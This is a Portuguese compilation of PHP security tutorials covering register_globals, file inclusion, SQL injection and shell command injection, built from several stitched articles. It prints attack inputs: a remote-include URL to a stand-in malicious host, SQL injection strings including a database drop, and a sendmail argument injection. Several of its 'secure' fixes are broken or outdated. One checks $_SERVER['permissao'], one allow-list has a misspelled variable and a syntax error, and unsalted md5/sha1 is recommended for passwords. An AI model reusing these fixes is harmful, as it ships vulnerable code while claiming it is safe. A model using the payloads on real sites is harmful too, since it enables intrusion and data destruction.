PHP é uma linguagem script de programação disponível de graça sob licença open source e utilizada principalmente em servidores web Linux como alternativa ao ASP da Microsoft. (LUKE,2005).

Segundo [Dall Oglio](http://www.google.com.br/search?tbs=bks:1&tbo=p&q=+inauthor:%22Pablo+Dall+%CC%81Oglio%22&source=gbs_metadata_r&cad=4), O PHP é uma das linguagens mais utilizadas no mundo. Sua popularidade se deve à facilidade em criar aplicações dinâmicas com suporte à maioria dos bancos de dados existentes e ao conjunto de funções que, por meio de uma estrutura flexível de programação, permitem desde a criação de simples portais até complexas aplicações de negócio. O uso da orientação a objetos juntamente com o emprego de boas práticas de programação nos possibilita manter um ritmo sustentável no desenvolvimento de aplicações. O foco deste livro é demonstrar como se dá a construção de uma aplicação totalmente orientada a objetos. Para isso, os autores implementam alguns padrões de projeto (design patterns) e algumas técnicas de mapeamento objeto-relacional, além de criarem vários componentes para que você possa criar complexas aplicações de negócio com PHP.

**Segurança em PHP: Desenvolvendo códigos seguros.**

**1. INTRODUÇÃO**

O PHP (PHP: Hypertext Preprocessor) é uma linguagem de script Open Source de uso geral, muito utilizada e especialmente guarnecida para o desenvolvimento de aplicações Web embútivel dentro do HTML [PHP.[net](http://www.plugmasters.com.br/sys/materias/499/1/Seguran%E7a-em-PHP:-Desenvolvendo-c%F3digos-seguros.) 2006]. Por ser uma linguagem poderosa e relativamente de fácil compreensão torna-se um fator positivo para as pessoas que desejam aprender a programar, porém se torna um problema já que poucos se importam em aprender algo sobre segurança e acabam escrevendo seus códigos bastante frágeis. Isso infelizmente não acontece somente com PHP.   
  
Muitos iniciantes em programação por falta de informação necessária acabam escrevendo seus códigos com falhas, algumas banais. Em algumas linguagens isso não é um problema grave, porém toda [tecnologia](http://www.plugmasters.com.br/sys/materias/499/1/Seguran%E7a-em-PHP:-Desenvolvendo-c%F3digos-seguros.) que é voltado para Web torna-se bastante propicia a ataques já que fica em contato com diversas pessoas diferentes no mundo inteiro.   
  
É importante lembrar que servidores "bem configurados" não fazem por si só um sistema seguro, em outras palavras, a programação do sistema é fator fundamental quando se fala em segurança.  
Um grande número de sites pequenos e provavelmente muitos sites grandes rodam códigos pessoais escritos por alguns que não possuem uma experiência necessária com PHP ou em programação segura, isso também significa que um grande número de sites podem se tornar ou estão inseguros.   
  
  
**2. CONSIDERAÇÕES GERAIS**

De acordo com o [Manual PHP.net 2006] um sistema completamente seguro é virtualmente impossível de se conseguir, então uma abordagem freqüentemente usada em segurança é um compromisso entre risco e usabilidade. Se cada variável enviada pelo usuário utilizar duas formas de validação biométrica (como escaneamento de retina e impressão digital), teríamos um nível de checagem extremamente alto. Demoraria um tempo razoável para preencher um formulário, o que incentivaria os usuários a achar maneiras de burlar a segurança.  
  
Quando estiver testando, tenha em mente que você não será capaz de testar todas as possibilidades nem mesmo para as páginas mais simples. A entrada que você pode esperar será totalmente diferente da entrada dada por um empregado irritado, um cracker com meses livres para tentar quebrar o sistema, ou um gato andando pelo teclado. Por isso é melhor olhar o código da perspectiva lógica, para discernir onde dados inesperados podem ser introduzidos, e depois seguir aonde o mesmo é modificado, reduzido ou amplificado.  
  
A Internet está cheia de gente tentando fazer o próprio nome quebrando o código dos outros, derrubando sites, enviando conteúdo indevido e de outras formas fazendo seu dia interessante. Não importa se você tem um site grande ou pequeno, você é um alvo simplesmente por estar on-line, tendo um servidor que pode ser conectado. Muitos [programas](http://www.plugmasters.com.br/sys/materias/499/1/Seguran%E7a-em-PHP:-Desenvolvendo-c%F3digos-seguros.) de cracking não discernem por tamanho, eles simplesmente vasculham blocos gigantes de IPs procurando por vítimas. Tente não se tornar uma.  
  
**3. FALHAS DE SEGURANÇA**  
  
**3.1 Register Globals**O Register\_Globals é uma diretiva de configuração do arquivo php.ini e tem como finalidade definir se o servidor deve ou não registrar quaisquer variáveis como globais.  
  
Até a versão 4.2.0 do PHP a diretiva Register\_Globals era por padrão ON (ativada), ou seja, até essa versão toda variável tratada no ambiente era setada como variável global por padrão. Porém, a partir da versão 4.2.0 o padrão mudou para OFF (desativada), sendo que muitos servidores mesmo utilizando versões mais recentes alteram essa diretiva para ON pois muitos scripts antigos foram feitos com base no Register\_Globals=ON, sendo assim esses scripts não iriam funcionar quando o padrão for OFF a menos que sejam revisados.  
  
Quando o Register\_Globals está ativado (ON) as variáveis enviadas a um script PHP provindas dos métodos GET, POST, entre outros, se tornam variáveis globais como por exemplo:  
  
<http://www.exemplo.com.br/info.php?cod=7&nome=Rafael>  
  
<?php  
echo $cod; // Irá imprimir na tela 7   
echo $nome; // Irá imprimir na tela Rafael   
?>  
  
O problema está no fato que variáveis podem ser injetadas via url explorando o método GET. No código descrito abaixo para validação de usuário possui esse erro de segurança na programação.  
  
<?php  
if(Autenticar($usuario, $senha)) {   
    $permissao = 1;   
}   
if($permissao == 1) {   
    include("admin.php");   
}   
?>  
  
Sendo assim, se algum usuário chamar a url desta maneira: <http://www.exemplo.com.br/info.php?permissao=1> o script iria chamar a função “Autenticar” mas não importará se o usuário foi autenticado ou não pois será atribuido à variável $permissao via url, logo quando o script fizer a verificação para incluir o arquivo admin.php a mesma será satisfatória, sendo assim, um usuário que na realidade não possui permissão consegue acesso à página restrita.  
  
O problema poderia ser facilmente corrigido com a sintaxe abaixo:  
  
<?php   
if(Autenticar($usuario, $senha)) {   
    $permissao = 1;   
} else {   
  $permissao = 0;   
}   
if($permissao == 1) {   
    include("admin.php");   
}   
?>  
  
Desta maneira,  mesmo que a variável $permissao fosse injetada via url, ela se tornaria 0.   
  
Com Register\_Globals=OFF as variáveis que são passadas como parâmetro via url não se tornam variáveis globais. A maneira correta de utilizar é simplesmente fazer uso de arrays superglobais que são $\_GET, $\_POST, $\_SERVER, etc.   
  
A utilização de superglobais sempre é preferida por razões de segurança dando-nos a certeza sobre quais variáveis estão vindo do GET, POST, etc e quais não estão.  
  
Uma correção para problema já descrito mantendo a mesma lógica e utilizando superglobais seria:  
  
<?php  
if(Autenticar($\_POST['usuario'], $\_POST['senha'])) {   
    $permissao = 1;   
}   
if($\_SERVER['permissao'] == 1) {   
    include("admin.php");   
}   
?>

# Principais falhas de segurança no PHP

**[Descubra as possibilidades de Virtualização com Storage HP](http://www.hp.com/latam/br/enterprise/HP_Descubra_BR/)**

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.  
  
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!

#### Cuidados com a URL - Parte I

Uma falha muito comum são aqueles sites que, tentando usar um sistema "legal", acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $\_GET. Exemplo:

<?php  
// Verifica se a variável $\_GET['pagina'] existe  
if (isset($\_GET['pagina'])) {  
$arquivo = $\_GET['pagina']; // Pega o valor da variável $\_GET['pagina']  
} else {  
$arquivo = 'home.php'; // Se não existir variável, define um valor padrão  
}  
include ($arquivo); // Inclui o arquivo  
?>

E na URL do site ficaria:

**http://www.meusite.com.br/?pagina=contato.php**  
  
Com isso o "invasor" pode, por exemplo, colocar um caminho de um script externo no lugar da variável:

**http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php**  
  
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.  
  
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

<?php  
// Define uma lista com os arquivos que poderão ser chamados na URL  
$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');  
   
// Verifica se a variável $\_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos  
if (isset($\_GET['pagina']) AND (array\_search($\_GET['pagina'], $permitidos) !== false) {  
$arquivo = $\_GET['pagina']; // Pega o valor da variável $\_GET['pagina']  
} else {  
$arquivo = 'home.php'; // Se não existir variável $\_GET ou ela não estiver na lista de permissões, define um valor padrão  
}  
include ($arquivo); // Inclui o arquivo  
?>

Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $\_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

#### Cuidados com a URL - Parte II

Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.  
  
Geralmente o formato é o seguinte:

**http://www.meusite.com.br/produtos.php?id=12**  
ou  
**http://www.meusite.com.br/?pagina=produtos.php&id=12**  
  
Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

<?php  
// Formato da URL:  
//  http://www.meusite.com.br/produtos.php?id=12  
   
// Salva o parâmetro da URL numa variável  
$produto = $\_GET['id'];  
   
// Monta a consulta MySQL  
$sql = "SELECT \* FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";  
   
// Executa a query  
$query = mysql\_query($sql);  
   
// Salva o resultado (em formato de array) em uma variável  
$resultado = mysql\_fetch\_assoc($query);  
   
?>

A sua consulta ao MySQL ficaria da seguinte forma:

SELECT \* FROM `produtos` WHERE `id` = '12' LIMIT 1

Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:  
  
**http://www.meusite.com.br/produtos.php?id=' OR 1=1 OR "='**  
  
Agora a sua query MySQL fica assim:

SELECT \* FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1

Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro  
$produto = (int)$\_GET['id'];

Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $\_GET['id']. Problema resolvido, meus caros!  Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.   
  
Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.  
  
Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql\_real\_escape\_string() da seguinte forma:

$parametro = mysql\_real\_escape\_string($\_GET['nome']);

Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

#### Sobre Usuários e Senhas

Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.  
  
Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.  
  
Se quiser saber como funciona criptografica no PHP é só ver esse post no meu blog:  
» Criptografia no PHP usando md5, sha1 e base64  
  
Espero que tenham gostado! Até a próxima!

Este artigo irá fornecer a você uma visão geral de várias caracteristicas de segurança com PHP e oferecer conselhos para práticas de programação segura em PHP.

PHP tem alcançado uma presença sólida e estável na Web nos últimos anos, e sua popularidade como uma linguagem de scripts para servidores está crescendo. Seu uso primário é para prover interfaces geradas dinâmicamente entre usuários e o servidor. Como tal, scripts PHP são uma presa natural de ataques. Apesar do fato de a linguagem ser projetada com segurança em mente, a familiaridade com seus mais perigosos aspectos e adaptação a direção comum de programação segura é essencial para minimizar a possibilidade de comprometer a segurança. O objetivo deste documento é oferecer uma visão geral de várias caracteristicas de segurança com PHP e oferecer conselhos para práticas de programação segura em PHP.

**Introdução**

PHP (PHP Hypertexto Preprocessor) é uma linguagem de script para servidor que facilita a criação de paginas Web dinâmicas embutindo códigos PHP em documentos HTML. Ele combina muitas das mais refinadas caracteristicas de Perl, C e Java, e adiciona seus próprios elementos à mistura para dar aos programadores Web grande flexibilidade e poder no projeto e implementação de páginas dinâmicas para Web. Porem, como qualquer ferramente poderosa, existem certos riscos e perigos associados com o uso de PHP. Este artigo objetiva alertar o leitor de tais detalhes sutis desta linguagem. Estando consciente dos riscos e observando algumas regras simples de programação segura, é possivel diminuir significativamente o risco de comprometer a segurança.

Nas sessões seguintes, nos iremos identificar um numero de causas que comumente levam a violações de segurança de scripts PHP e ultimamente os sistemas os quais estes scripts tem sido executados. Nos iremos então desenvolver algumas diretivas para fortalecer a segurança do PHP e para escrever codigos seguros. Desenvolvedores Web e administradores de sistema devem manter em mente, porem, que estas diretivas apenas identificam algumas praticas que podem reduzir o risco de comprometer a segurança. Não existe uma solução definida que possa resolver todos os problemas de segurança, de fato, o verdadeiro conceito de um sistema que está num estado completamente seguro é irreal. Ao inves disso, segurança deve ser vista como um processo evolutivo, requerendo constante supervisão. Este artigo provê uma base para entendimento de caracteristicas relacionadas ao PHP e dá uma visão geral mais ampla do topico.

**Fontes de Furos de Segurança**

PHP pode rodar tanto como uma aplicação CGI como um modulo integrado de um servidor Web. Sem levar em conta seu modo de execução, o interpretador PHP tem o potencial de acessar virtualmente toda parte do host - o sistema de arquivos, interfaces de rede, IPC, etc.

Consequentemente, ele tem o potencial para fazer (ou ser forçado a fazer) muito estrago. Para prevenir ataques, o programador deve estar prevenido de tudo que pode sair errado a qualquer hora durante a execução do programa. Esta é uma tarefa formidável. Programas se tornam muito complicados muito rápido. No entanto, conhecimento dos pontos de fraqueza de um sistema e os modos comuns de ataque podem ser um bom caminho para incrementar a segurança. Isto aplica-se ao PHP tanto quanto a qualquer outra parte do software. Então, nesta sessão iremos examinar vários fontes de vulnerabilidades potenciais em scrips PHP e iremos tirar algumas conclusões generalizadas. Nós usaremos esta informação em outra sessão para desenvolver um conjunto de diretivas para programação segura em PHP.

**Entradas de usuário confiáveis**

As mais comuns e mais serias vulnerabilidades em scripts PHP, e sem dúvida em qualquer aplicação Web, são devido a uma validação de entrada de usuário precária. Muitos scripts usam informações que o usuário forneceu num formulário Web e processam estas informações de várias maneiras. Se esta entrada de usuário é confiada cegamente, o usuário tem o potencial de forçar comportamento não desejado no script e no host.

Para tornar as coisas piores, PHP registra todo tipo de variáveis externas no espaço global. Variaveis de ambiente pro exemplo são simplesmente acessadas por seus nomes de qualquer lugar dentro do script. Então você pode apenas espiar em $HOSTNAME e $PATH para ter pedaços de infomação. Nomes de campos enviados de forms GET ou POST são tambem acessiveis da mesma maneira. Existem muitos problemas com isso.

Primeiro, não existe um modo de assegurar que variáveis externas contenham dados que podem realmente ser confiáveis. (A próxima sessão discute isso com otimos detalhes.)

Segundo, devido a habilidade do PHP para fazer tudo disponivel globalmetne, nenhuma variável pode ser confiável novamente, seja interna ou externa. De fato, imagine o seguinte cenário:

$tempfile = "12345.tmp";

...  
# faço alguma coisa com $tempfile aqui  
# e algum processamento de formulário ...

unlink ($tempfile);

Mesmo se você manteve $tempfile seguramente antes de liberar o link, a ultima instrução ainda é muito perigosa. Um atacante pode manipular o seu proprio form contendo um campo similiar a isto:



PHP irá inserir o campo nome no espaço global como $tempfile, este modo sobrescrevendo o valor original da variável. Depois, nós iremos considerar um modo de proteger contra este tipo de ataque configurando O PHP para não tornar variaveis externas globalmente acessíveis.

**Variáveis em ambiente confiável**

Quando vc digita "ls" no prompt do UNIX, o shell vai atraves de uma lista de diretorios procurando por um programa chamdo 'ls'. Tão logo quanto ele encontra isto em algum lugar, como no /bin, por exemplo, o shell executa o programa e espera pacientemente pela seu retorno. A lista de diretorios onde o shell irá procurar o programa é especificado em uma variável ambiente, usualmente $PATH. Similarmente, quando você usa o include() ou require() para um arquivo de um script PHP, o sistema irá procurar por ele numa lista específica de diretórios; a variável ambiente $LD\_LIBRARY\_PATH especifica o caminho para bibliotecas dinamicamente carregadas.

O script não tem controle sobre o conteudo de variáveis de ambiente no momento que inicia a execução. Um adversário pode modificar o caminho para apontar para uma versão tipo Trojan do programa que está sendo chamdado ou o arquivo que está sendo incluido. Este é um modo fácil para hackers terem codigos hostis rodando no sistema.

Alguns sites restringem o acesso ao conteudo baseado no link de onde o usuário vem. Eles usam a variável $HTTP\_REFERER para determinar isto. Mas já que esta informação chega do browser, não há nada que pare o usuario de associar um valor arbitrário. Tais formas de autenticação não são nada confiáveis.

Mesmo que a informação não venha do usuário, variáveis de sistema ainda assim não são confiáveis. Na maioria dos sistemas Unix, as variáveis de ambiente são armazenadas no topo da pilha de sistema. Agora, PHP faz seu proprio gerenciamento dinâmico de memória, então não existe um risco real de buffer overflow em scripts PHP. Mas um hacker pode ainda explorar algumas partes do software que estão rodando no servidor para ganhar acesso à pilha de execução. Por causa do modo que a pilha é estruturada, ele pode agora sobrescrever o valor de variáveis de ambiente. Consequentemente, o script PHP que confia cegamente nestas variáveis não está nada seguro.

De uma perspectiva segura, variáveis de ambiente e dados de entradas de usuários não são realmente muito diferentes. Eles podem representar dados de origem desconhecida que podem ser hostis. Deste modo, seu uso deve ser minimizado sempre que possível, e seu conteudo examinado e filtrado o resto das vezes. Uma boa pratica é redefinir todas as variáveis de ambiente que irão ser usadas no script antes de realmente usa-las. Isto não é sempre possivel, mas é uma ajuda a oferecer um grau de confiança um pouco mais alto no seu conteúdo.

**Chamando programas externos**

A ilustração mais direta de dano inflingido por entradas de usuário inválidas é provavelmente a execução de programas com nomes de usuário especificados ou argumentos.

Evidentemente, uma chamada como system($dados\_usuario) é insegura porque isto permite o usuário executar comandos arbitrários no host. Mais ainda, uma chamada do tipo exec("algumprog", $args\_usuario) é tambem insegura porque o usuário pode fornecer caracteres que tem significado especial para o shell. Um ponto e virgula nos argumentos por exemplo irá significar o fim do primeiro comando e o começo do segundo. Já que php sempre passa tais strings para o shell, isto é sempre perigoso. Isto inclui chamadas system(), exec(), popen(), backticks, etc.

O seguinte é um exemplo real de uma chamada popen() insegura, partindo de uma aplicação Web atualmente distribuida livremente:

function Send($sendmail = "/usr/sbin/sendmail")  
{  
if ($this->form == "") {  
$fp = popen ($sendmail."-i".$this->to, "w");  
}  
else {  
$fp = popen ($sendmail."-i -f".  
$this->from." ".$this->to, "w");  
}  
}

A variável $this->from vem diretamente de um campo do formulário, onde quem quer que seja que esteja enviando a mensagem digita ali seu endereço de email. Uma vez que esta entrada não é validade em nenhum lugar, o usuário pode enganar o script introduzindo todo tipo de coisas ruins com entradas similares a esta:

dummy@dummy.com badguy@evil\_host.com Se eles forem mais criativos, eles pode provavelmente até mesmo fazer um worm completo ou um virus e injetar nesta entrada.

A solução é filtrar cuidadosamente toda entrada de usuário antes de passa-la para o shell. Mais tarde, nos iremos considerar alguns modos de fazer isto em PHP.

**Interações com Bases de Dados**

PHP faz interações com vários bancos de dados diferente, e faz isto facilmente a partir de scripts. Apenas interagindo com outros programas atraves do shell, entretanto, isto pode ser um problema de segurança. Muitas vezes scripts PHP usam entradas de um formulário Web para contruir strings para requisições (query) SQL.

mysql\_db\_query ($DB, "SELECT something  
FROM table  
WHERE name=$username");

Neste exemplo, o usuário pode usar um ponto-e-virgula na entrada para finalizar a requisição atual e fornecer comandos arbitrários para a base de dados. A entrada ";drop db database" irá expandir a requisição "SELECT algumacoisa FROM tabela WHERE name=; drop db database", o que irá resultar em um erro (porque a primeira parte da requisição é agora inválida) seguida de um drop bem sucedido da base inteira.

Os privilégios do script podem ser ajustados para limitar o dano que ele pode causar na base, mas isto não remedia completamente o problema, uma vez que o usuário pode ainda fazer requisições para extrair informações sensíveis. Se a entrada do usuário precisa ser fornecida para a base de dados, a entrada deve ser primeiro examinada e filtrada para evitar metacaracteres, como nos iremos mostrar depois.

**Includes e Opens URL**

PHP generaliza o conceito de um arquivo para incluir

include  
("http://some.site.com/some\_script.php");

Ele saberá como trazer o arquivo daquele local e inclui-lo no seu script. Voce pode tambem abrir arquivos remotos para leitura do mesmo modo. Isto pode ser potencialmente perigoso, uma vez que existe a possibilidade do site remoto estar comprometido ou a conexão de rede ser enganada. Neste caso, você está injetando codigo desconhecido e possivelmente hostil diretamente no seu script com um include() como este. Dependendo de o que você faz com o arquivo, um fopen() de um local remoto pode ser perigoso da mesma forma. É claro que contruições do tipo include($dado\_usuario) são ainda outro problema, similar àqueles discutidos na sessão anterior.   
Se não for absolutamente necessario, esta caracteristica de PHP é melhor desabilita-la. A diretiva de configuração allow\_url\_fopen controla este comportamento.

**Vulnerabilidades no interpretador**

O interpretador PHP tem tido vulnerabilidades de segurança nos diferentes estágios do seu desenvolvimento.

No PHP3 e algumas versões do PHP4 tem sido encontrados vulnerabilidade para formar strings de ataque nas funções de log, por exemplo. Estas versões de PHP empregam chamadas para as funções syslog() e vsnprintf() do C para fazer o seu log (quando está habilitado). O problema é que PHP passa a mensagem de log diretamente como a string para estas funções, e é muito possível que a mensagem de log contenha uma entrada de usuário. Um invasor pode usar isto para comprometer remotamente o PHP - habilitando servidores que ainda executem este codigo, a menos que estes servidores tenham desabilitado o log de erros PHP e warnings.

O modo como o PHP trata de arquivos carregados pelo usuário pode tambem ser problemático. A razão para isto é que PHP irá definir uma variável global que tem o mesmo nome que o arquivo submetido no formulário Web. PHP irá então criar este arquivo em um diretório temporário e armazenar o upload ali, mas ele não irá checar se o nome do arquivo é válido. Um invasor pode fazer seu proprio formulário especificando o nome de algum outro arquivo e o submetendo. PHP irá então executar o outro arquivo, o qual pode conter informações sensíveis. Deste modo, o script deve sempre checar explicitamente se a variável que contem o nome do arquivo carregado contem um caminho válido para um arquivo temporário. Versões mais novas do PHP (depois da 4.0.3RC1 e depois da 3.0.17RC1 para PHP3) oferecem a função is\_uploaded\_file($path) que faz esta checagem mais simples.

Hosts rodando PHP devem seguir advertencias de segurança relatadas para o produto e atualizar para a ultima versão recomendada do PHP imediatamente depois das correções de segurança serem liberadas.

Na Parte 2, eu irei encerar nossa observação da segurança do PHP com mais cuidado nas linhas da programação, filtrando entradas de usuário, e configuração.